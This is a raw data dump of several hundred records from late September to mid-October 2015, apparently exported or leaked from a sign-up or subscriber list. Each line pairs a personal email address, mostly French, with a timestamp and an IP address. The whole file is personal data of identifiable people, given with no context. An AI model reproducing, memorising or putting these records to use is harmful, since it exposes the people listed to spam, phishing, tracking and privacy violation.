+14128;tellier.gwenaelle@orange.fr;2015-09-29 09:46:06;37.157.229.129 +14129;mimo.rossi@sfr.fr;2015-09-29 09:57:47;84.99.92.89 +14130;charpentier.vins@wanadoo.fr;2015-09-29 10:13:05;92.147.200.101 +14131;cathyar@sfr.fr;2015-09-29 10:41:37;86.71.76.161 +14132;isasirven@hotmail.com;2015-09-29 11:07:00;90.35.86.178 +14133;di.meloni@tiscali.it;2015-09-29 11:22:09;170.54.160.38 +14134;joelle.chatrian@sfr.fr;2015-09-29 11:33:26;89.86.227.216 +14135;danielleblanc@sfr.fr;2015-09-29 12:56:37;90.37.255.41 +14136;queant.melanie.8@gmail.com;2015-09-29 13:48:41;80.12.107.1 +14137;christel.lechat@yahoo.fr;2015-09-29 13:52:18;109.214.99.33 +14138;karolin2904@hotmail.com;2015-09-29 14:01:23;86.74.65.37 +14139;pascaline.vidor@orange.fr;2015-09-29 14:03:54;90.60.90.211 +14140;mariecharlotteduplay@live.fr;2015-09-29 14:20:26;83.173.68.182 +14141;roulletmc@orange.fr;2015-09-29 14:23:08;92.145.66.109 +14142;jjsacrez@hotmail.fr;2015-09-29 14:38:19;89.91.220.6 +14143;em.caro@laposte.net;2015-09-29 14:44:57;81.80.191.136 +14144;josephine.plouviez@orange.fr;2015-09-29 14:46:24;194.250.81.158 +14145;sandra.fernandes@erdf-grdf.fr;2015-09-29 15:04:12;192.196.142.21 +14146;peyron.frederique@neuf.f;2015-09-29 15:18:32;78.201.34.204 +14147;jole2a@yahoo.fr;2015-09-29 15:46:22;82.230.240.206 +14148;isabelle.gagnon@neuf.fr;2015-09-29 15:48:55;109.21.40.104 +14149;p.wal@free.fr;2015-09-29 16:00:31;82.226.198.24 +14150;nancyvinck@hotmail.fr;2015-09-29 17:14:30;78.206.228.215 +14151;janine.roussel0225@orange.fr;2015-09-29 19:00:24;82.125.193.103 +14152;m.mazadier@gmail.com;2015-09-29 19:59:12;90.41.127.194 +14153;gege564@hotmail.fr;2015-09-29 20:10:06;79.91.59.211 +14154;tomichel2003@yahoo.fr;2015-09-29 21:21:43;83.113.52.184 +14155;marjorie.centenero@netcourrier.com;2015-09-29 21:50:40;82.239.235.41 +14156;florence.yhomas537@orange.fr;2015-09-29 22:27:32;86.217.197.126 +14157;celine.knipper@gmail.com;2015-09-29 23:44:18;82.123.84.232 +14158;mamagpapag@yahoo.fr;2015-09-30 05:03:13;86.192.201.126 +14159;pasharrer@hotmail.com;2015-09-30 08:47:53;91.208.224.126 +14160;carmenchazot@hotmail.fr;2015-09-30 09:39:48;88.166.100.238 +14161;isarioulab@gmail.com;2015-09-30 09:49:05;82.121.252.185 +14162;patricia@gert.fr;2015-09-30 10:08:24;82.120.238.98 +14163;audrey-francois@vog-groupe.com;2015-09-30 10:26:27;81.66.25.227 +14164;kdemailly@yahoo.fr;2015-09-30 10:29:13;31.38.44.170 +14165;marie-helene.meurisse@wanadoo.fr;2015-09-30 10:48:12;92.157.221.28 +14166;melaniemartin.3@laposte.net;2015-09-30 12:13:20;89.156.215.183 +14167;annemelaniephotographie@gmail.com;2015-09-30 12:42:18;78.206.120.216 +14168;nathie.65@wanadoo.fr;2015-09-30 12:48:27;90.0.112.108 +14169;graciaspebrouck@aol.com;2015-09-30 13:03:47;93.28.11.81 +14170;sothi@bbox.fr;2015-09-30 13:19:37;31.37.16.181 +14171;mag.bonnier@gmail.com;2015-09-30 13:25:39;83.157.248.104 +14172;cyrielle.vercueil@gmail.com;2015-09-30 13:55:41;80.14.231.154 +14173;sylvie.vachet130@orange.fr;2015-09-30 14:29:58;90.42.77.46 +14174;sylvie.ventura@groupedci.com;2015-09-30 14:57:21;109.190.187.9 +14175;aurelie.bazar@gmail.com;2015-09-30 15:12:45;90.45.129.58 +14176;veronique.lecomte@outlook.fr;2015-09-30 15:19:15;93.14.92.53 +14177;myriam.maurice@wanadoo.fr;2015-09-30 15:24:27;195.219.250.105 +14178;cathie.jeanne@hotmail.fr;2015-09-30 15:44:26;88.181.167.144 +14179;pascaledoyennel@aol.com;2015-09-30 15:50:40;93.24.147.133 +14180;lilas.blue04@gmail.com;2015-09-30 16:23:42;41.92.80.116 +14181;bos.mariane@orange.fr;2015-09-30 16:24:19;92.146.240.249 +14182;mmartiniere@hotmail.fr;2015-09-30 17:23:32;77.196.76.23 +14183;nouma45@hotmail.fr;2015-09-30 18:26:28;78.225.69.32 +14184;matie66@hotmail.fr;2015-09-30 18:28:36;78.196.174.99 +14185;gauthier@mistralgagnant.net;2015-09-30 18:29:18;2.4.236.72 +14186;cathy.trombin@orange.fr;2015-09-30 19:57:42;83.194.254.144 +14187;benedicte.romieu@orange.fr;2015-09-30 20:53:16;92.143.85.105 +14188;mf.gillet@hotmail.fr;2015-09-30 21:14:35;86.207.122.67 +14189;didanono@hotmail.fr;2015-09-30 21:25:36;82.235.46.133 +14190;christellewartelle@hotmail.fr;2015-09-30 22:08:54;88.182.13.169 +14191;alauma@bbox.fr;2015-09-30 22:19:57;87.89.54.147 +14192;chardonnet.servanne@orange.fr;2015-09-30 23:20:42;2.11.99.239 +14193;anais.leromancer@laposte.net;2015-09-30 23:21:44;93.23.220.178 +14194;l.victoria@club-internet.fr;2015-10-01 00:05:57;109.208.171.92 +14195;christine.micault@hotmail.fr;2015-10-01 08:41:34;88.141.123.153 +14196;v.vanhaeren@elegis.be;2015-10-01 08:50:42;85.201.162.231 +14197;heon.jacqueline@voila.fr;2015-10-01 08:59:53;85.170.222.36 +14198;ewelinafalko@gmail.com;2015-10-01 09:14:33;86.74.92.64 +14199;magali.malvy@yahoo.fr;2015-10-01 09:44:22;78.125.71.225 +14200;laura.ozenfant@gmail.com;2015-10-01 09:49:40;89.30.120.101 +14201;jincsm@gmail.com;2015-10-01 09:56:35;82.242.74.185 +14202;ds.stef99@gmail.com;2015-10-01 12:21:51;78.215.120.184 +14203;tania1961@live.fr;2015-10-01 12:44:15;78.235.151.119 +14204;maite-perret@laposte.net;2015-10-01 13:10:39;77.128.236.68 +14205;nathalie.marc@me.com;2015-10-01 14:16:53;134.246.61.161 +14206;antonietta-19@hotmail.com;2015-10-01 14:34:23;213.177.91.113 +14207;laurence.pharmaciepontcroix@gmail.com;2015-10-01 14:53:34;193.251.9.232 +14208;l.giuliano@free.fr;2015-10-01 15:15:38;88.176.33.63 +14209;n-ath-68@hotmail.fr;2015-10-01 15:18:51;78.212.60.30 +14210;mmarialuisa.granata@fastwebnet.it;2015-10-01 15:33:31;2.233.73.66 +14211;jean-louis.magnenet151@orange.fr;2015-10-01 15:44:48;90.26.234.2 +14212;maralice634@yahoo.fr;2015-10-01 15:52:33;86.200.206.8 +14213;marialuisa.granata@fastwebnet.it;2015-10-01 15:53:07;2.233.73.66 +14214;aurelieau@yahoo.fr;2015-10-01 16:25:29;109.209.74.73 +14215;dufeuvanessa@yahoo.fr;2015-10-01 17:33:38;82.151.4.110 +14216;caroline.geoffre@hotmail.fr;2015-10-01 17:58:09;89.94.239.24 +14217;laurenaharoy@yahoo.fr;2015-10-01 18:34:05;88.178.84.6 +14218;oceana.dubois@gmail.com;2015-10-01 18:59:55;78.129.104.55 +14219;nmonange1@yahoo.fr;2015-10-01 19:06:10;78.220.109.117 +14220;cecile.chateaux@yahoo.fr;2015-10-01 19:20:00;109.212.103.8 +14221;minouche.1948@hotmail.fr;2015-10-01 19:32:50;87.231.80.37 +14222;stephanie.duverger@hotmail.fr;2015-10-01 19:35:58;77.197.239.247 +14223;demeuse.c@gmail.com;2015-10-01 19:50:39;109.88.114.0 +14224;kretz.family@laposte.net;2015-10-01 20:16:15;85.169.228.235 +14225;coripori@free.fr;2015-10-01 20:45:10;86.72.76.252 +14226;noye.alice@gmail.com;2015-10-01 20:56:02;86.218.207.224 +14227;thomazeau.michelle@orange.fr;2015-10-01 21:28:42;109.215.92.8 +14228;maohudin@gmail.com;2015-10-01 21:30:45;81.67.35.15 +14229;mathilde_forner@hotmail.com;2015-10-01 21:34:44;109.215.32.184 +14230;ireneorjubin@hotmail.fr;2015-10-01 22:38:10;92.139.41.237 +14231;calsi.algisi@orange.fr;2015-10-02 00:46:15;90.55.213.97 +14232;chantal06033@gmail.com;2015-10-02 08:27:52;176.150.227.16 +14233;yarel2@wanadoo.fr;2015-10-02 08:31:22;109.211.93.64 +14234;arnaud.thorel@orange.fr;2015-10-02 08:51:22;86.208.224.43 +14235;robert.sonia@laposte.net;2015-10-02 08:53:50;78.223.202.54 +14236;athaul@laposte.net;2015-10-02 09:26:02;81.64.136.15 +14237;annick.bochu@laposte.net;2015-10-02 09:30:03;90.85.42.187 +14238;nencioni-guy@orange.fr;2015-10-02 10:35:07;86.202.129.68 +14239;fosaerp@hotmail.com;2015-10-02 10:38:56;83.154.117.92 +14240;caroline.petras@sfr.fr;2015-10-02 11:01:03;88.136.227.165 +14241;laurence.charlon@gmail.com;2015-10-02 12:10:35;46.18.228.1 +14242;j_darocha@orange.fr;2015-10-02 12:53:08;86.221.143.115 +14243;sylviecercelet@gmail.com;2015-10-02 13:41:14;80.12.42.5 +14244;jean-jacques.pustel@orange.fr;2015-10-02 14:15:47;86.211.186.106 +14245;naughty97@hotmail.fr;2015-10-02 15:10:49;46.235.152.72 +14246;vinie.ferreira@hotmail.fr;2015-10-02 16:18:22;86.212.34.2 +14247;vanessacastel@free.fr;2015-10-02 16:19:38;78.221.172.8 +14248;dellamonica.frederic@free.fr;2015-10-02 16:39:42;81.67.246.218 +14249;margo.nunes@icloud.com;2015-10-02 16:56:31;86.203.144.212 +14250;catherine.bonacier@numericable.fr;2015-10-02 18:43:59;83.141.153.5 +14251;laetitia.douay@wanadoo.fr;2015-10-02 18:52:05;83.192.37.45 +14252;patrickmantel@orange.fr;2015-10-02 20:14:32;90.34.22.77 +14253;ml.jilali@free.fr;2015-10-02 20:18:44;78.240.247.191 +14254;bernard.barrere@orange.fr;2015-10-02 20:28:56;109.223.47.164 +14255;stefangedup@gmail.com;2015-10-02 21:35:49;176.180.161.146 +14256;razzaq2006@hotmail.co.uk;2015-10-02 22:25:22;86.129.69.7 +14257;moniquemiranda@orange.fr;2015-10-02 23:03:18;109.214.190.93 +14258;etiennelucie@free.fr;2015-10-03 01:24:57;176.186.70.198 +14259;serrelydie@sfr.fr;2015-10-03 06:50:23;109.29.158.16 +14260;marc.laplacette@sfr.fr;2015-10-03 07:48:21;77.152.99.150 +14261;flament.jacky@free.fr;2015-10-03 08:19:41;88.172.197.203 +14262;linda.hyrondelle@wanadoo.fr;2015-10-03 08:56:51;90.30.109.187 +14263;elisabethcimper@orange.fr;2015-10-03 09:23:27;90.61.163.199 +14264;h.parmentier@sfr.fr;2015-10-03 09:25:09;2.10.130.60 +14265;s_malterre@orange.fr;2015-10-03 09:57:38;109.213.33.145 +14266;karine.marty59@sfr.fr;2015-10-03 10:14:46;77.130.176.196 +14267;anna.nguyen-huy-lai@orange.fr;2015-10-03 11:45:45;81.48.220.16 +14268;isabellefyad@wanadoo.fr;2015-10-03 11:54:25;78.236.253.35 +14269;tokyo7@free.fr;2015-10-03 12:25:50;78.250.44.0 +14270;chrystelle_ld@hotmail.com;2015-10-03 12:54:39;90.1.202.185 +14271;isayann64420@aol.com;2015-10-03 13:23:47;86.221.52.69 +14272;montespania@gmail.com;2015-10-03 13:24:12;88.160.108.4 +14273;zaza20003@wanadoo.fr;2015-10-03 13:27:41;90.44.43.38 +14274;bbberthion@evhr.net;2015-10-03 13:45:08;89.158.250.171 +14275;famillemallot@hotmail.fr;2015-10-03 15:35:36;83.200.21.142 +14276;superpikpik@gmail.com;2015-10-03 15:53:34;90.6.97.52 +14277;cristine03@live.fr;2015-10-03 16:40:53;80.15.133.204 +14278;leleu-carole@orange.fr;2015-10-03 17:23:23;90.58.42.226 +14279;fabienne.callebaut@gmail.com;2015-10-03 17:38:51;81.164.95.60 +14280;coccibulle@wanadoo.fr;2015-10-03 18:40:31;86.214.253.121 +14281;alexandra.crocq@gmail.com;2015-10-03 21:04:44;78.207.239.67 +14282;sophiedespontin@hotmail.com;2015-10-03 21:20:16;87.65.141.162 +14283;capucinewillems@live.fr;2015-10-03 21:34:28;86.228.67.216 +14284;carinege@orange.fr;2015-10-03 22:03:03;92.157.24.172 +14285;shalini93@hotmail.fr;2015-10-03 22:39:01;78.227.118.34 +14286;christelle.tilet.cartier@gmail.com;2015-10-03 22:53:39;109.213.236.150 +14287;lorraine.tual@gmail.com;2015-10-03 23:08:52;31.208.99.64 +14288;minouvette@outlook.com;2015-10-04 03:00:07;82.241.14.118 +14289;virgo79@sfr.fr;2015-10-04 09:11:41;31.32.172.232 +14290;lynda.lagarde@orange.fr;2015-10-04 09:46:20;80.9.94.59 +14291;isaprigent@orange.fr;2015-10-04 11:26:55;2.11.149.181 +14292;melyssa.cucca@gmail.com;2015-10-04 11:28:53;90.2.4.125 +14293;lafeeclochette.ju@gmail.com;2015-10-04 11:37:33;78.250.162.195 +14294;sulvie.miliani@estvideo.fr;2015-10-04 11:43:17;83.141.147.122 +14295;secgunion@gmail.com;2015-10-04 12:03:39;86.210.154.155 +14296;martine.garriga@bbox.FR;2015-10-04 12:12:34;176.183.189.4 +14297;egirard1@club-internet.fr;2015-10-04 12:45:13;84.102.69.185 +14298;giraud.pa@wanadoo.fr;2015-10-04 13:47:42;90.53.143.65 +14299;frederique.rofine@orange.fr;2015-10-04 13:53:11;90.23.52.80 +14300;véronique.genge@orange.fr;2015-10-04 16:09:13;89.2.137.89 +14301;slv.k@evhr.net;2015-10-04 16:09:21;195.132.135.44 +14302;cat@dl1.fr;2015-10-04 16:57:43;89.156.98.37 +14303;frigerio.patricia@gmail.com;2015-10-04 17:26:29;85.68.215.204 +14304;vanessacastanie@hotmail.com;2015-10-04 18:23:32;90.7.24.91 +14305;sylcarr@laposte.net;2015-10-04 18:53:05;77.205.58.152 +14306;eliberty@free.fr;2015-10-04 19:01:29;82.253.129.115 +14307;jacqueline.riera13@orange.fr;2015-10-04 19:09:51;92.143.136.16 +14308;bortolucci@wanadoo.fr;2015-10-04 19:33:57;109.214.174.226 +14309;marie.koehl@orange.fr;2015-10-04 20:12:17;88.124.69.199 +14310;chrissy66@free.fr;2015-10-04 20:46:31;78.209.202.207 +14311;sophiepoiret@hotmail.com;2015-10-04 20:47:57;83.153.53.30 +14312;amelieperoux@yahoo.fr;2015-10-04 21:01:54;92.130.64.225 +14313;s.ferriere@libertysutf.fr;2015-10-04 21:09:19;88.183.255.2 +14314;brigitte.guiraud0447@orange.fr;2015-10-04 21:54:02;92.137.79.48 +14315;institutamazone19@gmail.com;2015-10-04 22:01:04;109.89.118.7 +14316;mysarzi@orange.fr;2015-10-04 23:24:12;78.230.43.80 +14317;flo.biz.aurelly@cegetel.net;2015-10-05 00:00:29;93.0.253.173 +14318;MALOM.C@NEUF.FR;2015-10-05 06:52:40;77.201.127.233 +14319;f.arnold@wanadoo.fr;2015-10-05 09:56:38;90.11.176.114 +14320;nenufleur@free.fr;2015-10-05 10:26:18;90.14.16.244 +14321;sandra2000s@hotmail.fr;2015-10-05 12:02:32;46.19.123.58 +14322;lucasdream@aol.com;2015-10-05 12:20:05;93.14.146.99 +14323;wided.gue@gmail.com;2015-10-05 12:51:32;193.168.73.254 +14324;play-mate63@hotmail.fr;2015-10-05 13:22:16;88.187.57.47 +14325;martine.chevalier85@sfr.fr;2015-10-05 13:37:43;109.9.37.165 +14326;s.malfetes@gmail.com;2015-10-05 14:21:54;82.245.219.64 +14327;valerie.deparmentier@hotmail.fr;2015-10-05 14:45:42;78.227.138.217 +14328;acovin@orange.fr;2015-10-05 15:17:37;37.58.171.133 +14329;leonor.ribeiro.dias@gmail.com;2015-10-05 16:07:11;94.60.161.162 +14330;lucie_monier@hotmail.fr;2015-10-05 16:40:18;37.58.158.226 +14331;christian.wastiaux@sfr.fr;2015-10-05 17:00:42;78.124.118.78 +14332;ddd@hotmail.com;2015-10-05 17:06:57;158.169.40.10 +14333;gillesannecharlotte@gmail.com;2015-10-05 18:08:20;90.46.179.254 +14334;heollene@hotmail.fr;2015-10-05 20:13:11;88.121.77.38 +14335;annemaurob@gmail.com;2015-10-05 20:52:41;81.51.66.139 +14336;tofcat@wanadoo.fr;2015-10-05 20:59:33;90.58.71.77 +14337;helene.baudic@gmail.com;2015-10-05 21:39:20;88.140.99.28 +14338;fanny.lady17@yahoo.fr;2015-10-05 22:15:06;88.180.226.125 +14339;monapi19@gmail.com;2015-10-06 07:42:52;85.14.158.77 +14340;a.maudire@epparfums.com;2015-10-06 08:10:32;185.26.249.85 +14341;nicole.bataille@club-internet.fr;2015-10-06 08:11:31;109.2.167.125 +14342;o.cantu@wanadoo.fr;2015-10-06 08:38:16;78.229.208.80 +14343;emilie.floquet@yahoo.fr;2015-10-06 10:09:14;193.252.63.44 +14344;amelly_63@hotmail.fr;2015-10-06 10:54:57;86.200.28.152 +14345;c.rondeau@orange.fr;2015-10-06 11:14:41;90.12.180.68 +14346;sophiemarilly@orange.fr;2015-10-06 11:16:11;80.14.114.27 +14347;karinebernier75@wanadoo.fr;2015-10-06 11:41:18;86.64.143.20 +14348;nathaly.lemire@hotmail.fr;2015-10-06 13:21:10;5.226.10.178 +14349;torosnos@free.fr;2015-10-06 14:09:19;93.8.249.21 +14350;laurence-mam@hotmail.fr;2015-10-06 15:27:25;90.34.158.166 +14351;asart.db@wanadoo.fr;2015-10-06 16:05:57;90.24.163.81 +14352;emily.gilotin@gmail.com;2015-10-06 17:47:53;193.252.200.68 +14353;cathybouvet4@gmail.com;2015-10-06 18:39:06;86.209.88.192 +14354;francois.legout@free.fr;2015-10-06 18:50:15;78.195.71.31 +14355;delprat.sandrine@neuf.fr;2015-10-06 19:05:03;80.118.71.41 +14356;antoine.tavares@sfr.fr;2015-10-06 19:22:37;109.12.21.137 +14357;emilie.raballand@9online.fr;2015-10-06 21:24:01;90.25.38.173 +14358;fwidar@skynet.be;2015-10-06 21:28:42;91.179.36.206 +14359;lagben@outlook.fr;2015-10-06 21:53:27;176.180.6.150 +14360;iloeva@sfr.fr;2015-10-06 22:59:37;78.121.195.58 +14361;kiavalisa@yahoo.fr;2015-10-06 23:30:32;176.190.208.106 +14362;elyagoubibachir@yahoo.ca;2015-10-07 00:24:59;105.148.16.171 +14363;jlaarass@gmail.com;2015-10-07 00:40:36;82.243.74.66 +14364;veromanolo@gmail.com;2015-10-07 07:10:11;86.219.183.94 +14365;marianis@hotmail.fr;2015-10-07 08:29:09;92.131.185.28 +14366;monique.rodrigues@free.fr;2015-10-07 09:08:32;194.199.117.209 +14367;luce.germanangue@wanadoo.fr;2015-10-07 09:19:17;90.15.189.133 +14368;janine.broutelle@gmail.com;2015-10-07 09:37:57;89.90.14.28 +14369;secretariat-medical@orange.fr;2015-10-07 11:23:30;80.11.239.80 +14370;plombier92@aol.com;2015-10-07 12:02:09;82.127.60.84 +14371;vbridonneau@gmail.com;2015-10-07 12:24:46;217.126.7.6 +14372;fernandesbrigitte@yahoo.fr;2015-10-07 13:06:37;93.17.3.142 +14373;agvivaudo@orange.fr;2015-10-07 13:10:22;86.205.201.215 +14374;renoufcamille@gmail.com;2015-10-07 13:41:24;176.129.30.216 +14375;jjthibault@wanadoo.fr;2015-10-07 14:57:17;90.30.250.34 +14376;delrieux@gmail.com;2015-10-07 15:06:18;89.95.154.46 +14377;nicole.agraz@yahoo.fr;2015-10-07 15:46:05;109.222.212.204 +14378;veronique.tarlet@bbox.fr;2015-10-07 15:53:26;213.174.127.130 +14379;clem3301@neuf.fr;2015-10-07 16:00:47;80.12.35.121 +14380;coursieres.aurelie@orange.fr;2015-10-07 16:19:39;109.215.56.56 +14381;cathy.salmon54@orange.fr;2015-10-07 16:24:41;90.13.203.172 +14382;jei@9online.fr;2015-10-07 17:03:19;77.130.212.159 +14383;johanna.recoquille@yahoo.fr;2015-10-07 17:07:24;90.49.177.106 +14384;guillaume.bilheude@gmail.com;2015-10-07 17:59:01;84.14.196.219 +14385;elodierucort@free.fr;2015-10-07 18:22:41;83.158.59.55 +14386;veronique-vallenot@nordnet.fr;2015-10-07 20:28:33;95.170.38.229 +14387;nrouvier@wanadoo.fr;2015-10-07 21:29:37;82.240.98.177 +14388;felixoph@gmail.com;2015-10-07 22:09:03;213.111.38.30 +14389;nico_vilaine@msn.com;2015-10-07 23:37:14;78.210.62.47 +14390;isamartin57@yahoo.fr;2015-10-08 05:58:38;85.203.88.210 +14391;anne.boulesteix@gmail.com;2015-10-08 05:58:48;88.177.101.41 +14392;lelette75@yahoo.fr;2015-10-08 08:18:38;77.134.17.158 +14393;michel.vaiarello@sfr.fr;2015-10-08 08:21:01;109.23.12.104 +14394;christouille22@hotmail.fr;2015-10-08 09:37:32;31.39.78.14 +14395;fanyfan@laposte.net;2015-10-08 09:53:53;90.1.208.242 +14396;sandsavary@orange.fr;2015-10-08 09:55:42;90.63.17.153 +14397;alinemoulier@gmail.com;2015-10-08 10:12:23;90.13.214.193 +14398;aurore.stachin@laposte.net;2015-10-08 11:44:18;62.62.128.130 +14399;laure.sanchez1709@gmail.com;2015-10-08 12:44:00;85.69.158.118 +14400;merry-b@outlook.fr;2015-10-08 13:20:54;176.183.94.248 +14401;scmdhtt@orange.fr;2015-10-08 13:53:33;83.198.169.224 +14402;nicole.mazellier0696@orange.fr;2015-10-08 13:59:30;176.190.255.46 +14403;laetitia.marshall@gmail.com;2015-10-08 14:06:35;37.201.5.148 +14404;stefval22@gmail.com;2015-10-08 14:13:29;176.148.241.61 +14405;emilielefranc@hotmail.fr;2015-10-08 14:41:24;193.248.163.237 +14406;sylvie.trohel@me.com;2015-10-08 15:33:28;92.148.244.248 +14407;chedalanglay@yahoo.fr;2015-10-08 15:50:02;109.208.35.102 +14408;laben18@hotmail.com;2015-10-08 16:45:44;84.5.121.131 +14409;riss.laure@neuf.fr;2015-10-08 17:32:58;90.48.212.213 +14410;fabienne.badet@wanadoo.fr;2015-10-08 17:43:59;86.219.203.245 +14411;vanessabance@hotmail.fr;2015-10-08 17:54:01;80.12.82.160 +14412;pharmaciekarkouz@gmail.com;2015-10-08 18:11:32;80.14.31.203 +14413;stephanegrunevagld@orange.fr;2015-10-08 19:34:28;92.132.81.213 +14414;o.gge@free.fr;2015-10-08 20:01:48;86.196.168.19 +14415;poggistef@yahoo.fr;2015-10-08 22:05:05;90.41.137.14 +14416;aurelie@yahoo.fr;2015-10-08 22:07:35;83.155.94.153 +14417;piger.aurelie@orange.fr;2015-10-08 22:13:31;83.195.243.50 +14418;o.rives@free.fr;2015-10-08 22:36:50;88.172.138.23 +14419;wassila.kadi@gmail.com;2015-10-09 00:01:23;84.102.230.92 +14420;rachel.villard@wanadoo.fr;2015-10-09 06:00:24;109.212.136.200 +14421;xenazef@hotmail.com;2015-10-09 06:47:04;88.125.129.173 +14422;stephanieparre@hotmail.com;2015-10-09 07:18:56;176.185.19.74 +14423;lydie.commeau@sfr.fr;2015-10-09 09:19:39;78.112.196.64 +14424;martine.androlus@sfr.fr;2015-10-09 09:52:38;77.146.62.76 +14425;caroline@prevenchute.com;2015-10-09 10:35:28;176.150.198.145 +14426;frimoussette54@wanadoo.fr;2015-10-09 11:03:45;90.48.239.246 +14427;stephaniealexandre76@gmail.com;2015-10-09 12:01:06;78.229.84.45 +14428;cel.ines@hotmail.fr;2015-10-09 13:11:21;95.157.197.136 +14429;odile@wilson-tm.com;2015-10-09 14:02:15;78.247.93.251 +14430;karine.bruneau@free.fr;2015-10-09 14:15:11;92.151.70.147 +14431;nickylyon69@gmail.com;2015-10-09 14:53:14;78.219.63.61 +14432;apied@sfr.fr;2015-10-09 15:05:30;78.126.39.169 +14433;mafaldas@dbmail.com;2015-10-09 15:18:49;86.65.172.62 +14434;juliette.peru@orange.fr;2015-10-09 15:43:22;90.47.235.219 +14435;pineaualain@neuf.fr;2015-10-09 15:49:34;84.6.243.101 +14436;aurelie.pouderoux@gmail.com;2015-10-09 16:05:09;213.62.126.132 +14437;delphine.quivaux@edhec.com;2015-10-09 16:05:40;84.14.246.129 +14438;elodie.bonnefoy10@gmail.com;2015-10-09 16:13:57;82.127.87.137 +14439;missthedi2@hotmail.fr;2015-10-09 16:26:09;91.223.84.15 +14440;re.spinosi@orange.fr;2015-10-09 16:27:44;109.208.218.123 +14441;sam.deena@ymail.com;2015-10-09 16:29:44;77.146.47.185 +14442;dany@toutpourleau.fr;2015-10-09 16:36:05;46.35.25.158 +14443;blan.delaporte@gmail.com;2015-10-09 16:47:41;83.167.32.233 +14444;emmaleroy@me.com;2015-10-09 16:49:51;78.235.244.8 +14445;rejane.benoist@gmail.com;2015-10-09 16:51:40;82.235.19.38 +14446;ml.merckel@free.Fr;2015-10-09 17:08:29;83.155.63.151 +14447;christelle.claude@free.fr;2015-10-09 17:19:18;62.147.199.141 +14448;agmsanchez@orange.fr;2015-10-09 17:52:31;81.251.158.157 +14449;patricia.poirey@laposte.net;2015-10-09 18:00:19;88.179.0.94 +14450;spot2001@neuf.fr;2015-10-09 18:14:06;94.100.28.159 +14451;bouvetclaudine@yahoo.fr;2015-10-09 18:34:05;81.65.231.49 +14452;marie-agathe.m@hotmail.fr;2015-10-09 18:43:14;92.90.16.177 +14453;clairemorvant24@hotmail.fr;2015-10-09 19:38:26;93.9.148.229 +14454;celiadiams@hotmail.com;2015-10-09 20:03:02;83.200.104.251 +14455;onemini@orange.fr;2015-10-09 21:27:14;90.33.82.216 +14456;linda_9527@hotmail.com;2015-10-09 22:20:04;82.228.216.74 +14457;fontaniervero@aol.com;2015-10-09 23:00:42;77.152.200.172 +14458;jzydsrs617@hotmail.com;2015-10-09 23:29:37;89.234.146.20 +14459;laurie_vermeersch@hotmail.com;2015-10-10 00:40:05;86.205.112.109 +14460;lysiane.watrin@sfr.fr;2015-10-10 06:39:32;109.214.103.187 +14461;jade.chatelier@yahoo.com;2015-10-10 09:12:07;89.93.15.175 +14462;isabelle.bouffilh92@gmail.com;2015-10-10 09:20:29;109.8.46.236 +14463;langevij@yahoo.fr;2015-10-10 09:49:39;90.61.37.143 +14464;corinne@distilled-art.com;2015-10-10 10:04:46;109.212.186.139 +14465;claudine1201@hotmail.com;2015-10-10 11:38:24;79.93.78.108 +14466;monique.chauvet@neuf.fr;2015-10-10 12:15:34;31.37.13.37 +14467;e.floch@hotmail.fr;2015-10-10 12:20:26;81.53.4.214 +14468;aurelie_agatic@yahoo.fr;2015-10-10 12:36:32;86.204.239.54 +14469;valerie.flayeux@orange.fr;2015-10-10 14:16:49;86.212.173.87 +14470;legeay.elisabeth@orange.fr;2015-10-10 14:18:44;2.10.100.79 +14471;sophie.mouret08@hotmail.ff;2015-10-10 14:24:40;88.189.186.103 +14472;cat.jeanningros@orange.fr;2015-10-10 14:49:00;81.51.184.19 +14473;mj.filliat@yahoo.fr;2015-10-10 15:06:52;88.169.239.81 +14474;gautier.mariehelene@bbox.fr;2015-10-10 15:20:22;88.188.232.175 +14475;n.c.berthomier@orange.fr;2015-10-10 15:23:26;92.160.36.89 +14476;jzydsrs617@gmail.com;2015-10-10 15:27:12;89.234.147.1 +14477;d39rousse@free.fr;2015-10-10 15:46:25;88.163.10.197 +14478;kajale690@gmx.fr;2015-10-10 15:46:57;82.225.233.116 +14479;colliardpaulette@gmail.com;2015-10-10 16:01:51;92.130.172.144 +14480;lamerens@gmail.com;2015-10-10 16:59:10;2.6.31.82 +14481;marie.fontanelle@club-internet.fr;2015-10-10 17:10:47;84.100.166.252 +14482;leclandesskuns@bbox.fr;2015-10-10 18:09:35;87.91.249.8 +14483;alvespinto.joanna@neuf.fr;2015-10-10 19:06:24;92.89.17.208 +14484;bornemilie@gmail.com;2015-10-10 19:40:20;88.121.17.133 +14485;christophe.fleurance0208@orange.fr;2015-10-10 20:03:34;86.204.240.48 +14486;Caroblouet@hotmail.com;2015-10-10 20:58:54;88.183.233.3 +14487;evelyne.peignet@gmail.com;2015-10-10 21:05:41;85.68.179.223 +14488;annieberardaugusta@gmail.com;2015-10-10 21:09:28;82.122.249.58 +14489;aline.bisson@orange.fr;2015-10-10 21:30:09;92.154.173.51 +14490;aude.hoarau@club.fr;2015-10-10 22:39:04;79.84.108.171 +14491;bitibou@hotmail.com;2015-10-10 23:09:25;62.34.171.170 +14492;catherine.aymonier@univ-fcomte.fr;2015-10-10 23:39:10;109.217.2.150 +14493;emilieboulet12@orange.fr;2015-10-11 08:08:15;92.149.228.60 +14494;brenot.pauline@orange.fr;2015-10-11 10:53:38;90.33.193.19 +14495;jctvm@aliceadsl.fr;2015-10-11 10:59:02;78.223.162.70 +14496;claire.gozdik@orange.fr;2015-10-11 11:07:33;2.12.130.127 +14497;a.battista@laposte.net;2015-10-11 11:39:29;82.243.50.140 +14498;dmlysiane@aol.com;2015-10-11 12:10:46;92.142.11.14 +14499;regine.granet@oranbge.fr;2015-10-11 13:42:35;92.136.66.150 +14500;beethoven87@hotmail.fr;2015-10-11 13:53:03;89.89.192.163 +14501;j_federica@hotmail.com;2015-10-11 14:00:47;2.227.249.182 +14502;myra.cohen@gmail.com;2015-10-11 14:38:24;82.231.42.120 +14503;laurence.reinhold@orange.fr;2015-10-11 14:53:24;83.196.67.241 +14504;daisy.dede@yahoo.fr;2015-10-11 14:54:15;82.227.193.161 +14505;trouss48@hotmail.fr;2015-10-11 17:00:09;82.64.223.90 +14506;mathylde.col@icloud.com;2015-10-11 17:06:24;78.200.48.51 +14507;bosselux@gmail.com;2015-10-11 18:21:32;78.249.254.104 +14508;laetitia67240@orange.fr;2015-10-11 18:31:06;109.19.181.16 +14509;mlevel95@gmail.fr;2015-10-11 18:38:48;92.90.165.56 +14510;marliotfrancine77@gmail.com;2015-10-11 18:40:55;92.88.5.63 +14511;camille_paillat@yahoo.com;2015-10-11 19:05:45;82.254.74.127 